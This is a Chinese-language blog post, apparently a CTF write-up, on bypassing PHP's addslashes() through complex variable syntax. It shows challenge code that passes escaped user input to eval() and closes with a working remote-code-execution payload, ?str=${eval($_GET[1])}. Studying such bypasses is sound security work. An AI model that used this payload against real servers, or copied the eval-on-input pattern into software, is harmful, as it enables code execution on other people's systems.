使用复杂变量绕过addslashes函数实现RCE

addslashes ( string $str ) : string
使用反斜线引用字符串
返回字符串,该字符串为了数据库查询语句等的需要在某些字符前加上了反斜线。这些字符是单引号(’)、双引号(”)、反斜线(\)与 NUL(NULL 字符)。

简单的说,就是在传入的字符串的单引号,双引号,反斜线和空字符前加反斜线转义

先看看题目代码:

1
2
3
4
<?php 
highlight_file(__FILE__);
$str=@(string)$_GET['str'];
eval('$str="'.addslashes($str).'";');

这里使用双引号包裹addslashes($str),看起来没有问题,因为如果我们试图传入双引号时会被addslashes给添加一个反斜线转义

再看看php中单引号和双引号的区别

单引号:

其中的内容不会经过解释(\n不会输出为换行,而是直接输出),即内容会与输入的内容一致

1
2
3
4
$a = 1;
echo 'a is $a';

result: a is $a
双引号:

双引号中的内容将会被解释,即解析内容中的变量

1
2
3
4
$a = 1;
echo "a is $a";

result: a is 1

还有就是,如果双引号中插入单引号,单引号中的变量也会被解释

1
2
3
4
$a = 1;
echo "'a is $a'";

result: 'a is 1'

再来看看php中的复杂变量

由上面知道,php在双引号中可以解析变量
而解析变量共有两种语法规则:一种简单规则,一种复杂规则。

复杂规则:

任何具有string表达的标量变量,数组单元或对象属性都可使用此语法。只需简单地像在string以外的地方那样写出表达式,然后用花括号{和}把它括起来即可。由于{无法被转义,只有$紧挨着{时才会被识别。可以用{$来表达{$。

note:
函数、方法、静态类变量和类常量只有在 PHP 5 以后才可在 {$} 中使用。然而,只有在该字符串被定义的命名空间中才可以将其值作为变量名来访问。只单一使用花括号 ({})无法处理从函数或方法的返回值或者类常量以及类静态变量的值。

这是php手册中的描述。
简单的说,我们要在双引号中使用变量,那么变量名怎么定界
比如:

1
2
$abc=1;
echo "$abcd";

这里我想输出的是1d,而php会将$abcd当成一个变量,所以就可以使用{}来定界我们的变量

1
2
$abc=1;
echo "${abc}d";

也就是说 {}为变量名定义了一个边界。也就是说"{${abc}}""${abc}"效果是一样的。

再来看看php中的变量的定义

通常一个变量的定义必须是以下划线或者英文字母开头,且变量名只能包含下划线字母和数字。

这是常规的定义变量的办法,但php中还可以接受函数的返回值作为变量名

比如:

1
2
3
4
var_dump(${phpinfo()}=123);
var_dump($a=123);

result:int(123) int(123)

前面的${phpinfo()}的命名步骤:

  1. 先执行phpinfo()
  2. 将phpinfo()的返回值作为变量名定义变量
  3. 变量赋值为123

一个例子就能看清本质:

1
2
3
4
5
6
7
8
$test = "hello world";
function a(){
$str = 'test';
return $str;
}
echo "${a()}";

result: hello world

到这里,我们的题目答案就呼之欲出了
payload:?str=${eval($_GET[1])}&1=phpinfo();

参考:https://www.chabug.org/ctf/425.html

文章作者: Dar1in9
文章链接: http://dar1in9s.github.io/2020/01/19/php/使用复杂变量绕过addslashes函数实现RCE/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Dar1in9's Blog